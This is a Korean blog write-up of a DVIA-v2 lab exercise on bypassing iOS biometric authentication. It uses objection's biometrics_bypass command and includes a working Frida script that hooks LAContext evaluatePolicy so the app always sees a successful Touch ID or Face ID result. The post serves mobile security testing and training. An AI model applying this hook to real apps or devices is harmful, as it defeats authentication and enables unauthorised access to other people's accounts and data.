티스토리 뷰

보안/App

[DVIA-v2] Bypassing Biometrics

damti 2023. 7. 5. 14:20

Touch/Face ID Bypass

iPhone 본인 인증 방식

- 비밀번호 입력(키패드 형식)

- 지문 인증

- Face ID

 

DVIA-v2 앱은 인증 시 사용하는 인증 관련 API에서,

반환해 주는 boolean 타입의 반환 값(True/False)을 통해 사용자 본인 유무를 판단함

=> 실제 지문 판독을 처리하는 기능이 앱에 포함되어 있지 않음

     따라서 기본 지문 읽기 기능이 앱에 제공하는 값을 변경

 

 

첫번째는 Swift, 두번째는 Objective-C로 작성됨

Error Authentication Failed

 

Objection을 DVIA-v2에 로드함

objection --gadget DVIA-v2 explore

 

 

지문 우회를 위해, 사전에 구축된 스크립트를 불러옴

Touch/Face ID를 통해 인증을 수행하는 LAContext 클래스의 evaluatePolicy 함수에 연결하고 변조 -> 우회

ios ui biometrics_bypass

https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass

 

Understanding the iOS Biometrics Bypass

📱 objection - runtime mobile exploration. Contribute to sensepost/objection development by creating an account on GitHub.

github.com

 

Swift 또는 Objective-C 지문을 클릭 후, 메시지가 표시되면 지문 센서에 잘못된 손가락을 댐

-> 잘못되었다는 메시지와 함께, 다시 시도 메시지 표시

-> 다시 버튼 누름

 => 인증 성공 팝업 창 뜸

Success Authentication Successful


frida로 후킹 코드 동작 시,

if(ObjC.available) {
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];

Interceptor.attach(hook.implementation, {
	onEnter: function(args) {
		send("Hooking Touch Id..")
		var block = new ObjC.Block(args[4]);  // 배열이기 때문에 [4]는 곧 5번째 인자인 reply
		const appCallback = block.implementation;
		block.implementation = function (error, value) {
			const result = appCallback(1, null); // 1이 success, 0이 error이므로 1을 반환!
			return result;
			};
		},
	});
} else {
	console.log("Objective-C Runtime is not available!");
}

(참고 후킹코드)

https://github.com/FSecureLABS/needle/blob/master/needle/modules/hooking/frida/script_touch-id-bypass.py

 

GitHub - WithSecureLabs/needle: The iOS Security Testing Framework

The iOS Security Testing Framework. Contribute to WithSecureLabs/needle development by creating an account on GitHub.

github.com

 

 

두 항목의 지문 우회 성공을 확인함

 

 

참고 출처

https://philkeeble.com/ios/iOS-Bypass-Fingerprint/

https://takudaddy.tistory.com/612